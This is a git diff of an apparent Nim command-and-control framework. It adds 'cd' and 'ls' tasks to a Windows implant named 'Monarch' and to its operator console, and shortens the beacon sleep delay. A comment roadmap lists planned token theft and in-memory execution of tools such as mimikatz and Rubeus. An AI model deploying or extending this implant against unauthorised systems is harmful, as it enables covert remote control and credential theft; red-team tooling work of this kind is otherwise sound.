diff --git a/agents/monarch/commands/cd.nim b/agents/monarch/commands/cd.nim
new file mode 100644
index 0000000..5292620
--- /dev/null
+++ b/agents/monarch/commands/cd.nim
@@ -0,0 +1,27 @@
+import os, strutils, base64, winim, strformat, sequtils
+import ../types
+
+proc taskCd*(task: Task): TaskResult =
+
+ let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
+ echo fmt"Changing current working directory to {targetDirectory}."
+
+ try:
+ # Get current working directory using GetCurrentDirectory
+ if SetCurrentDirectoryW(targetDirectory) == FALSE:
+ raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
+
+ return TaskResult(
+ task: task.id,
+ agent: task.agent,
+ data: encode(""),
+ status: Completed
+ )
+
+ except CatchableError as err:
+ return TaskResult(
+ task: task.id,
+ agent: task.agent,
+ data: encode(fmt"An error occured: {err.msg}" & "\n"),
+ status: Failed
+ )
\ No newline at end of file
diff --git a/agents/monarch/commands/commands.nim b/agents/monarch/commands/commands.nim
index a1c6402..f6c3d53 100644
--- a/agents/monarch/commands/commands.nim
+++ b/agents/monarch/commands/commands.nim
@@ -1,3 +1,3 @@
-import ./[shell, sleep, pwd]
+import ./[shell, sleep, pwd, cd, ls]
-export shell, sleep, pwd
\ No newline at end of file
+export shell, sleep, pwd, cd, ls
\ No newline at end of file
diff --git a/agents/monarch/commands/ls.nim b/agents/monarch/commands/ls.nim
new file mode 100644
index 0000000..e04d4a2
--- /dev/null
+++ b/agents/monarch/commands/ls.nim
@@ -0,0 +1,155 @@
+import os, strutils, strformat, base64, winim, times, algorithm
+
+import ../types
+
+proc taskDir*(task: Task): TaskResult =
+
+ echo fmt"Listing files and directories in current working directory."
+
+ try:
+ # Check if users wants to list files in the current working directory or at another path
+ var targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
+
+ if targetDirectory == "":
+ # Get current working directory using GetCurrentDirectory
+ let
+ cwdBuffer = newWString(MAX_PATH + 1)
+ cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
+
+ if cwdLength == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+
+ targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
+
+ # Prepare search pattern (target directory + \*)
+ let searchPattern = targetDirectory & "\\*"
+ let searchPatternW = newWString(searchPattern)
+
+ var
+ findData: WIN32_FIND_DATAW
+ hFind: HANDLE
+ output = ""
+ entries: seq[string] = @[]
+ totalFiles = 0
+ totalDirs = 0
+
+ # Find files and directories in target directory
+ hFind = FindFirstFileW(searchPatternW, &findData)
+
+ if hFind == INVALID_HANDLE_VALUE:
+ raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
+
+ # Directory was found and can be listed
+ else:
+ output = fmt"Directory: {targetDirectory}" & "\n\n"
+ output &= "Mode LastWriteTime Length Name" & "\n"
+ output &= "---- ------------- ------ ----" & "\n"
+
+ # Process all files and directories
+ while true:
+ let fileName = $cast[WideCString](addr findData.cFileName[0])
+
+ # Skip current and parent directory entries
+ if fileName != "." and fileName != "..":
+ # Get file attributes and size
+ let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
+ let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
+ let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
+ let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
+ let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
+
+ # Handle flags
+ var mode = ""
+ if isDir:
+ mode = "d"
+ inc totalDirs
+ else:
+ mode = "-"
+ inc totalFiles
+
+ if isArchive:
+ mode &= "a"
+ else:
+ mode &= "-"
+
+ if isReadOnly:
+ mode &= "r"
+ else:
+ mode &= "-"
+
+ if isHidden:
+ mode &= "h"
+ else:
+ mode &= "-"
+
+ if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
+ mode &= "s"
+ else:
+ mode &= "-"
+
+ # Convert FILETIME to local time and format
+ var
+ localTime: FILETIME
+ systemTime: SYSTEMTIME
+ dateTimeStr = "01/01/1970 00:00:00"
+
+ if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
+ # Format date and time in PowerShell style
+ dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
+
+ # Format file size
+ var sizeStr = ""
+ if isDir:
+ sizeStr = "
"
+ else:
+ sizeStr = ($fileSize).replace("-", "")
+
+ # Build the entry line
+ let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
+ entries.add(entryLine)
+
+ # Find next file
+ if FindNextFileW(hFind, &findData) == 0:
+ break
+
+ # Close find handle
+ discard FindClose(hFind)
+
+ # Add entries to output after sorting them (directories first, files afterwards)
+ entries.sort do (a, b: string) -> int:
+ let aIsDir = a[0] == 'd'
+ let bIsDir = b[0] == 'd'
+
+ if aIsDir and not bIsDir:
+ return -1
+ elif not aIsDir and bIsDir:
+ return 1
+ else:
+ # Extract filename for comparison (last part after the last space)
+ let aParts = a.split(" ")
+ let bParts = b.split(" ")
+ let aName = aParts[^1]
+ let bName = bParts[^1]
+ return cmp(aName.toLowerAscii(), bName.toLowerAscii())
+
+ for entry in entries:
+ output &= entry & "\n"
+
+ # Add summary of how many files/directories have been found
+ output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
+ output &= fmt"{totalDirs} dir(s)" & "\n"
+
+ return TaskResult(
+ task: task.id,
+ agent: task.agent,
+ data: encode(output),
+ status: Completed
+ )
+
+ except CatchableError as err:
+ return TaskResult(
+ task: task.id,
+ agent: task.agent,
+ data: encode(fmt"An error occured: {err.msg}" & "\n"),
+ status: Failed
+ )
\ No newline at end of file
diff --git a/agents/monarch/commands/pwd.nim b/agents/monarch/commands/pwd.nim
index f008ed4..b886216 100644
--- a/agents/monarch/commands/pwd.nim
+++ b/agents/monarch/commands/pwd.nim
@@ -14,7 +14,7 @@ proc taskPwd*(task: Task): TaskResult =
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
if length == 0:
- raise newException(OSError, "Failed to get working directory.")
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
return TaskResult(
task: task.id,
diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg
index 5c8ea9d..6615ef3 100644
--- a/agents/monarch/nim.cfg
+++ b/agents/monarch/nim.cfg
@@ -5,4 +5,4 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=5555
--d:SleepDelay=10
+-d:SleepDelay=1
diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim
index 01a1a1a..61c832c 100644
--- a/agents/monarch/task.nim
+++ b/agents/monarch/task.nim
@@ -28,6 +28,16 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult =
echo taskResult.data
return taskResult
+ of SetWorkingDirectory:
+ let taskResult = taskCd(task)
+ echo taskResult.data
+ return taskResult
+
+ of ListDirectory:
+ let taskResult = taskDir(task)
+ echo taskResult.data
+ return taskResult
+
else:
echo "Not implemented"
return nil
\ No newline at end of file
diff --git a/server/agent/agent.nim b/server/agent/agent.nim
index b2626a9..98a624f 100644
--- a/server/agent/agent.nim
+++ b/server/agent/agent.nim
@@ -223,7 +223,16 @@ proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
if taskResult.status == Failed:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.", "\n")
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
+
+ if taskResult.data != "":
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
+
+ # Split result string on newline to keep formatting
+ for line in decode(taskResult.data).split("\n"):
+ cq.writeLine(line)
+ else:
+ cq.writeLine()
else:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
diff --git a/server/agent/commands/cd.nim b/server/agent/commands/cd.nim
new file mode 100644
index 0000000..fe5cd29
--- /dev/null
+++ b/server/agent/commands/cd.nim
@@ -0,0 +1,19 @@
+import nanoid, sequtils, strutils, strformat, terminal, times
+import ../../types
+
+proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) =
+
+ # Create a new task
+ let
+ date: string = now().format("dd-MM-yyyy HH:mm:ss")
+ task = Task(
+ id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
+ agent: cq.interactAgent.name,
+ command: SetWorkingDirectory,
+ args: arguments,
+ )
+
+ # Add new task to the agent's task queue
+ cq.interactAgent.tasks.add(task)
+
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to change current working directory.")
\ No newline at end of file
diff --git a/server/agent/commands/commands.nim b/server/agent/commands/commands.nim
index 1adbdae..b8d6bfc 100644
--- a/server/agent/commands/commands.nim
+++ b/server/agent/commands/commands.nim
@@ -1,19 +1,38 @@
-import ./[shell, sleep, pwd]
-export shell, sleep, pwd
+import ./[shell, sleep, pwd, cd, ls]
+export shell, sleep, pwd, cd, ls
#[
"Monarch" Agent commands:
- Basic
- -----
- [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
- [ ] pwd : Get current working directory
- [ ] cd : Change directory
- [ ] ls/dir : List all files in directory (including hidden ones)
- [ ] cat/type : Display contents of a file
+ House-keeping
+ -------------
[~] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
- Post-exploitation
+ Basic API-only Commands
+ -----------------------
+ [~] pwd : Get current working directory
+ [~] cd : Change directory
+ [ ] ls/dir : List all files in directory (including hidden ones)
+ [ ] cat/type : Display contents of a file
+ [ ] env : Display environment variables
+ [ ] ps : List processes
+ [ ] whoami : Get UID and privileges, etc.
+
+ [ ] token : Token impersonation
+ [ ] make : Create a token from a user's plaintext password
+ [ ] steal : Steal the access token from a process
+ [ ] use : Impersonate a token from the token vault
+
+ Execution Commands
+ ------------------
+ [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
+ [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
+ - Read from listener endpoint directly to memory
+ - Base for all kinds of BOFs (Situational Awareness, ...)
+ [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
+ [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
+
+ Post-Exploitation
-----------------
[ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
- File to be downloaded moved to specific endpoint on listener, e.g. GET ////file
@@ -22,9 +41,4 @@ export shell, sleep, pwd
- Create loot directory for agent to store files in
- Read file into memory and send byte stream to specific endpoint, e.g. POST ///-task/file
- Encrypt file in-transit!!!
- [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
- - Read from listener endpoint directly to memory
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
-
]#
\ No newline at end of file
diff --git a/server/agent/commands/ls.nim b/server/agent/commands/ls.nim
new file mode 100644
index 0000000..12bbe3b
--- /dev/null
+++ b/server/agent/commands/ls.nim
@@ -0,0 +1,19 @@
+import nanoid, sequtils, strutils, strformat, terminal, times
+import ../../types
+
+proc taskListDirectory*(cq: Conquest, arguments: seq[string]) =
+
+ # Create a new task
+ let
+ date: string = now().format("dd-MM-yyyy HH:mm:ss")
+ task = Task(
+ id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
+ agent: cq.interactAgent.name,
+ command: ListDirectory,
+ args: arguments,
+ )
+
+ # Add new task to the agent's task queue
+ cq.interactAgent.tasks.add(task)
+
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.")
\ No newline at end of file
diff --git a/server/agent/interact.nim b/server/agent/interact.nim
index f009222..a5bd42e 100644
--- a/server/agent/interact.nim
+++ b/server/agent/interact.nim
@@ -21,7 +21,15 @@ var parser = newParser:
help("Display agent information and current settings.")
command("pwd"):
- help("Retrieve current working directory")
+ help("Retrieve current working directory.")
+
+ command("cd"):
+ help("Change current working directory.")
+ arg("directory", help="Relative or absolute path of the directory to change to.", nargs = -1)
+
+ command("ls"):
+ help("List files and directories.")
+ arg("directory", help="Relative or absolute path. Default: current working directory.", nargs = -1)
command("help"):
nohelpflag()
@@ -64,6 +72,12 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
of "pwd":
cq.taskGetWorkingDirectory()
+ of "cd":
+ cq.taskSetWorkingDirectory(opts.cd.get.directory)
+
+ of "ls":
+ cq.taskListDirectory(opts.ls.get.directory)
+
# Handle help flag
except ShortCircuit as err:
if err.flag == "argparse_help":
diff --git a/server/types.nim b/server/types.nim
index 34c9fe8..238d219 100644
--- a/server/types.nim
+++ b/server/types.nim
@@ -16,6 +16,8 @@ type
ExecutePe = "pe"
Sleep = "sleep"
GetWorkingDirectory = "pwd"
+ SetWorkingDirectory = "cd"
+ ListDirectory = "ls"
TaskStatus* = enum
Completed = "completed"